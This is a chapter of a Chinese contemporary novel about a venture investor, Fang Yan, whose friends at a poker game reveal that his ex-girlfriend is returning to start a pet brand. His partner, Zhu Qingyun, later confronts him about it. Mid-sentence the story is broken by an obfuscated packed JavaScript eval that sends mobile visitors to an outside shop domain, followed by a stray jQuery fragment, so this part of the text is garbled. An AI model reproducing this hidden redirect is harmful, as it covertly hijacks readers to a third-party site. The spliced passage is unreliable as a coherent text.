春节前，周瑜攒了一个牌局。地点在杨瑞安家，还是那个客厅，还是那张牌桌。
方严到的时候周瑜已经在沙发上了，手里端着一杯没喝完的威士忌，冰块已经融了大半。Emily和Brian坐在牌桌一侧，面前放着几瓶气泡水和一碟切好的水果，果盘边沿有几片苹果已经氧化发黄。
方严在牌桌边坐下来的时候，周瑜朝他看了一眼："青云妹妹今天没来？"
"她在家改报告。"方严说。
"周末还加班？"
"她那个项目尽调完了，又过了IC，在做交割准备。"
周瑜点了一下头。"那挺厉害的，跟了挺久了吧。"语气里没有试探，只是一句陈述。
方严没有接话，拆开新的筹码，一把一把倒进盒子里，深蓝色的圆片滑进塑料格槽时发出细密的声响。牌局还没正式开始，周瑜靠在沙发扶手上喝了一口气泡水，目光没有落在牌桌上，像在找一个合适的角度，切入他真正想问的话题。"你那个早期基金的提案，纽约那边有动静了？"他问，语气不重。
方严的手指在筹码上停了一下。"你怎么知道的？"
"圈子能有多大。"周瑜说，把气泡水放下，"听说你在跟纽约谈一个新架构。"
方严没有立刻回答，把最后一格筹码拨平，隔了几秒才说了一句："还在谈，要找个合伙人支持。"
牌局正式开始之后，大家有一搭没一搭地聊着，话题在投资和日常之间来回切换。方严打了两局赢了一局，把筹码拨回来的时候，周瑜又说了一句："你现在来牌局的频率比以前低了。以前每周都来，现在有时候两周才一次。"
"最近项目多。"方严说。
"项目多，还是在家陪她？"周瑜问这话的时候没有抬头，正盯着自己手里的牌，像在问一件不需要被认真回答的事。
方严正在看牌，没有抬头。"都有一点。"他低头看了一眼自己手里的牌，两张红桃，桌面上有一张红桃A，他在考虑要不要继续跟注。那几秒的安静，被牌桌边的灯光和空调的低频运转声填满。
牌局进行到一半的时候，杨瑞安接了一个电话。他走到客厅角落说了几句，声音压得很低，听不清内容。回来之后他坐回牌桌边，语气随意得像在说一件不值得被专门提起的事："对了，方严你听说了吗？简安安创业了。"
方严正在看牌，手指顿了一下。"什么？"
"做宠物品牌，好像叫'宠悦'。"杨瑞安说，"她之前在国外艺术圈做过几个动物相关的策展项目，攒了一批人脉。最近拉了一笔钱回国做，听说刚启动。"
方严没有抬头。"她没跟我说过。"
"你们分手多久了来着？"周瑜问，带着一丝调笑。
"不记得。"方严说，把手里的牌翻过来看了一眼，"分了很久了。"
他的声音和刚才说"最近项目多"的时候差不多，但周瑜看了他一眼，注意到他翻牌的动作比平时慢了一拍。牌桌边安静了一下，空调的低频运转声变得比刚才更清晰。周瑜把目光收回去，低头整理自己面前的筹码，但过了一会儿他又开口了，声音比刚才低一些："方严，你之前那件事……确实有点对不起她。"他顿了顿，"她那时候刚拿了那个策展机会，你提分手，她整个人都懵了。"
方严没有接话。他把牌放回桌上，端起杯子喝了一口水，放下。"过去的事了。"
"后来呢？"Emily问，她认识他们晚，不清楚这些八卦。在牌桌上，有些名字可以像筹码一样，被随手拨来拨去；有些名字一旦被放下，就不能再碰。她不确定简安安的名字属于哪一类，但在等一个答案来确认它的归属。
"后来简安安没再做那个展，"周瑜说，"直接回美国了。"
牌桌上安静了一瞬。
周瑜把玩着手里的筹码，像是刚想起来什么值得说的事，又像是要把话题岔开："对了方严，你那个恒动，后来退得怎么样？"
方严正在看牌，没抬头："退得早。回报够。"
"当年IC上就你一个人硬推，"杨瑞安说，"听说恒动的创始人来TCP路演那天，你坐第一排，问了十五个问题。散会之后直接在走廊里堵了他——"
"没有堵。"方严说。
"那你叫什么？"
"聊了一下。"
周瑜在旁边笑了："方严说的是'聊了一下'。谁'聊了一下'回来，就直接push老板上会？"
"IC上老板都没说话，"杨瑞安说，"就他一个人站在那儿说'现在不进去就没我们的位置了'。那会儿恒动还没跑出数据呢。"
"跑出来了才轮不到你。"方严说。
杨瑞安摇头笑了一下："行吧，你说的对。"
牌桌上重新响起了洗牌的声音，筹码滑过桌面的时候，在灯光下翻了个面。
那局方严赢了，但赢的时候表情没什么变化，把筹码收回来的时候动作很轻，没有看任何人。他又打了两局，牌运不算好也不算差，筹码基本持平。到了十一点的时候才站起来，说先走了。
张子然坐在牌桌靠里的位置。他面前那杯茶从开桌到现在几乎没被动过，凉透了，早就不冒热气了。他手里捏着一枚筹码，没有放进盒子里，也没有推出去。他在听他们讲话，后面说了什么其实都不记得，只记得关于简安安的事。
他在想，祝青云知不知道这件事。
不知道祝青云和方严之间，有没有聊过这个前女友。他想问，但问不出口。他知道自己不该卷入这件事，但如果不告诉祝青云，她会从别人那里听到——而别人说话的方式，不会像他这样体面。
方严到家的时候，客厅的灯还亮着。祝青云靠在沙发上睡着了，电脑还开着，屏幕停在一个新项目的材料页面上，她正在搭竞品分析的模型，光标停在最上面那一行，在蓝色的背景中规律地闪烁着。她没有盖毯子，肩膀微微缩着，呼吸很浅，像在某种半睡半醒之间。方严站在那里看了她几秒，然后走过去，轻轻把电脑合上了。
电脑合上的那一声轻响没有吵醒她，但他弯腰的时候带起的气流，让她的睫毛动了一下。她迷迷糊糊睁开眼，看了他一下。"你回来了？""嗯。"他在她旁边坐下来，"赢了吗？""赢了。""多少？""两万多。"她点了点头，重新闭上眼睛，头往沙发靠背方向歪了一下。他伸手把她的头往自己这边带了一下，让她靠在他的肩膀上。她的呼吸落在他肩头的时候很轻，像是在被睡眠缓慢地接住。
他知道祝青云最近坐在会议室里跟合伙人讨论估值区间的事，她正在被人当作一个可以独立表达意见的人，已经不在他的视线里了，却正以更快的速度被其他人看见。
他想着杨瑞安在牌桌上说的话，想着简安安问"你真的想清楚了吗"的时候，他只是沉默。他没有告诉她原因，没有解释，只是说了一句"就这样吧"。他欠她一个解释，但他从来没有给过。
两天后，张子然在工位上坐了一会儿，然后拿起手机。他知道自己在做什么——坐在TCP的工位上，和方严的办公室隔着一道半透明的隔断，他每天交的文件上都有方严的签字，每周例会上都要坐在同一张桌子的对面，但还是把那条消息发出去了。
祝青云收到那条消息的时候正在回邮件。张子然发来的话不长："前两天牌局上听到一个事——方严前女友简安安要回国创业，做宠物品牌，叫'宠悦'。还说方严当年分手的时候，对简安安有些亏欠。具体什么事我也不知道。另外，最近感冒多，你注意身体。"
她把那句话看了两遍。简安安。这个名字她从苏南那里听过一次，从方严那里听过零次。她没有见过她，但知道她是谁——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740821|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
美国顶尖艺术史系毕业、独立策展人、方严的前女友。现在她要回国做宠物品牌了。而方严对她有亏欠，这是她第一次听到。
她给张子然回了一句"谢谢告诉我"。张子然回："不为别的。就是觉得你应该知道。"
她在想，方严从来没有告诉过她这件事。他从来没有说过他的前女友。她不知道那是什么故事，但知道自己又是听说的——和很多事情一样。下班之后，她坐地铁去方严家。她站在车门旁边，窗外的隧道壁一节一节地掠过，黑暗中偶尔闪过一帧广告灯的亮光。她想着"宠悦"这个名字，想着简安安会以什么方式进场。以前觉得那是不提过去，现在觉得那可能是不敢提。
方严已经在家了。她换了鞋走进客厅，没有直接去换衣服，在他对面坐下来。他放下手机看着她："怎么了？"
她说："你前女友要回国创业了。"
他抬起头看她。"你从哪里知道的？"
"有人说的。"她说，"他们说的时候，你也在。"
他沉默了一下。"她没跟我说过。我是那天才知道的。"他停了一下，"我应该告诉你这件事，但我不确定该怎么开口。"
"为什么不确定？"
"因为她是前女友，"他说，"因为我欠她一个解释。"
"欠她什么？"
方严靠在沙发靠背上，安静了一会儿。"分手的时候，她问我'你真的想清楚了吗'。我没有回答。我只是说'就这样吧'。"他说，"我应该回答她。但我没有。"
"那你现在想回答吗？"
"不知道。"他说，"她没问过我第二次。"
她看着他。他的目光落在茶几边缘，没有看她。他在说一件他很少想起、但从来没有真正消化过的事。她只是坐在那里，等他继续，或者等他停下来。他停了很久。"我不太喜欢聊前任。"他说。
"我知道。"她说。
过了一会儿，他又开口了。"认识你之前一年吧，她拿到一个策展机会，很重要。我们分手，就是那之后不久。后来她回了美国，那个展也没做。"
"她问我'你想清楚了吗'——我没回答。"
"你为什么没回答？"
"因为我觉得回答了也没有用。"他说，"我不确定自己是不是真的想清楚了。但不想让她觉得我在犹豫。"
"那你是在犹豫吗？"
他沉默了很久。"是。"他说，"但我没有告诉她。"
她看着他。他不知道自己该怎么对自己承认，更不知道怎么对别人解释。他欠简安安的不是一个答案，是他从来没有承认过自己的犹豫。那不是一个可以被修补的东西，它只是一个已经发生的事实。但他刚才说了出来——他把那件事放在两个人之间的空气里，承认了它的存在。它不一定需要被解决，但它已经被看见了。
她伸手拿过手机，划开屏幕。苏南发来的消息："今晚碰到他了。他路过我身后停了一下。但这次他走回来，说了一句'最近怎么样'。就一句话。然后走了。"
她看着那行字，停了一下。苏南没有说"他"是谁，但她们之间已经不需要确认名字了。她看着"他走回来"这三个字，觉得那比"停了一下"往前走了一大步。苏南隔了一会儿又发了一条："他以前不回头。"
祝青云想，苏南在手机另一端，大概也正在消化那个"回头"的重量。她放下手机，转头看向方严。他还在那里，还坐在她旁边。他说了一句："她做宠物品牌——跟我没关系。我跟她已经很久没有联系了。"
"我知道。"
"回国也没跟我说过。我是那天才知道的。"
"我知道。"
她坐在他旁边，安静了一会儿。他今晚告诉了她一件事——不是关于简安安的，是关于他自己的。他的犹豫，和他的沉默。